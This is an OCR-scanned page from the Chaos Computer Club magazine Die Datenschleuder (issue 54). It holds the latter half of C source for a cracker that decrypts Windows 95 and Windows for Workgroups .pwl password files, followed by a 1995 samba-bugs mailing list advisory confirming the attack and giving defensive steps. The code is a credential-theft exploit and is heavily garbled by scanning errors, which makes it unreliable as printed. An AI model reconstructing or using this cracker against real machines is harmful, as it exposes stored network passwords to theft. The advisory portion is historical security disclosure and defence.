home *** CD-ROM | disk | FTP | other *** search
/ Chaos Computer Club 1997 February / cccd_beta_feb_97.iso / chaos / ds54 / ds54_15.txt < prev    next >
Text File  |  1997-02-28  |  4KB  |  173 lines

  1.     Seite 14    Ausgabe 54
  2.  
  3. cracked=size-OxO208;
  4. if(crackedcO) cracked=O;
  5. if(cracked>1000) cracked=1000;
  6. memcpy(keystream,Data+Ox208,cracked );
  7.  
  8. /* generate 20 bytes of keystream */
  9. for(i=O;ic20;i++) (
  10. ch=toupper(nameti]);
  11. if(ch=O) break;
  12. if(ch_'.') break;
  13. keystreamlilA=ch;
  14.  
  15. );
  16. cracked=20;
  17.  
  18. /* find allocated resources ./
  19.  
  20. sizemask-keystream[O]+(keystream[1 ]cc8);
  21. printf(~S~zemask: %04X\n",sizemask);
  22.  
  23. }
  24.  
  25. for(i=O;ic256; i++) Rall[i]=O;
  26.  
  27. maxr-O,
  28. for(i-Ox108;kOx208;i++) (
  29. if(Data[i]l=Oxtf) ~
  30. Rall[Data[i]]++;
  31. if (Data~i]>maxr) maxr=Data[i];
  32.  
  33.     maxr=(((maxr/16)+1)~16); /* resource pointertable size appears
  34. to be divisible by 16 ./
  35.  
  36. /* search after resources */
  37.  
  38. Rpoint[0]=OxO208+2ämaxr+20+2; /* first resource ./
  39. for(i-O;i<maxr;i++) ~
  40. w find size ot current resource */
  41. pos-Rpoint[i];
  42. rsz=Data[pos]+(Datalpos+1 ]cc8);
  43. rsz^=sizemask;
  44. printf("Analyzing block with size:
  45. %04x\t(%d:%d)\n", rsz, I, Rall[i]);
  46. if( (Rall[i]==O) && (rszl=O) )
  47.  
  48. }
  49.  
  50. printf("unused resource has nonzero size !!I\n");
  51. exit(O);
  52.  
  53. pos+=rsz;
  54.  
  55. ~tc ~hicn~c~k~er - Das wissenschaftliche Fachblatt fUr Datenreisende
  56.  
  57. Aus~abe 54
  58. v
  59.  
  60. Seite 15
  61.  
  62. 1. Resources have a tendency to have the wrong size for some reason */
  63. check for correct size W/
  64. if(lcmaxr-1 ) ~
  65. while(Data[pos+3]!=keystreaml1]) {
  66. prinff(~:(%O2X).,Dala[pos+3]);
  67. pos+=3D2; /. very rude may tail */
  68. }
  69.  
  70. pos+=2; /* include pointer in size öl
  71. Rpointpl+1 ]=pos;
  72.  
  73. Rpoint[maxr]-size;
  74. w insert Table data inlo keystream */
  75. for(i=O;i <= maxr;i++) ~
  76. keystrearn[20+2*ip=Rpdnt[i] & OxOOff;
  77. keystream[21+2äll~(Rpoint[i] >> 8) & OxOOff;
  78.  
  79. cracked+=maxr.2+2:
  80.  
  81.     It means that anyone with access to a
  82. WfWg or Win95 box that has been used
  83. to login to a samba (or NT or OS12 etc)
  84. server can take the .pwl files off the PC
  85. and use them to get valid passwords on
  86. the server.
  87.  
  88.     Note that this is not directly a secur ty
  89. hole in samba. Its a huge security hole in
  90. the way WfWg and Win95 store their pas-
  91. swords on disk. It equally affects
  92.  
  93. networks which use NT and OS/2 server.
  94. It also affects people who just use other
  95. WfWg and Win95 machines as servers.
  96. pfinff("%d bytes of keyslream recovererl\n~,cracked); Also, if your WfWg and Win95 systems
  97. /* decrypt resouroes */
  98.  
  99. for(i=O;i c maxr;i++) {
  100. rsz=Rpointli+1 ]-Rpoint[il;
  101.  
  102. if (rsz>cracked) rsz=cracked;
  103. pfinff("Resource[°/Odl (°/Od)\n~,i,rsz);
  104. forU=o;lcrsz;i++) =
  105.  
  106. prlnff(''%c~,Dala[Rpoint[il+jl~keystream[j]);
  107. pfinff(~\n~);
  108.  
  109. exit(0);
  110.  
  111. }
  112.  
  113. - --- end ---
  114.  
  115. From: samba-bugs@anu.edu.au
  116.  
  117. Subject: win95 and WfWg .pwl files
  118. cracked
  119.  
  120. Date: Tue, 5 Dec 1995 23:11:52 +1100
  121.  
  122.     1 have just tried Frank Stevensons program
  123. for cracking .pwl files. It indeed works.
  124.  
  125.     With it I could obtain the plain text
  126. passwords from a Windows95 .pwl file or a
  127. windows for workgroups .pwl fHe in less than
  128. a second. I tried it on 3 different files. A11
  129. were successtully decrypted.
  130.  
  131. This is very bad.
  132.  
  133. have not been patched to avoid the "cd
  134. .1" bug and you export any shares then
  135. anyone who can attach to those shares
  136. can obtain your .pwl files. It doesn't mat-
  137. ter what directory you are exporting.
  138.  
  139. What can you do about this?
  140.  
  141.     Well, if you don't care about security
  142. then just do nothing :-)
  143.  
  144. Otherwise.
  145.  
  146.     First of all, change your router rules to
  147. disable tcpl39, udpl37 and udpl38 from
  148. entering your network from the Internet.
  149.  
  150.     Secondly, disable your WfWG and
  151. Win95 boxes from saving passwords on
  152. disk when connecting to SMB servers.
  153. Can someone please post clear
  154. instructions on exactly how to do this?
  155. (preferably with how to make it
  156. permanent)
  157.  
  158.     Thirdly, delete all the .pwl f~les on your
  159. WfWG and Win95 boxes.
  160.  
  161.     Theres probably more you should do. I
  162. only found out about this decryption pro-
  163. gram a few minutes a~o. I imagine more
  164. advice will be forthcoming from other
  165. people on this list.
  166.  
  167. Andrew
  168.  
  169. ~k ~stal~lolItr - Das wissenschaftliche Fachblatt für Datenreisende.
  170.  
  171. l
  172.  
  173.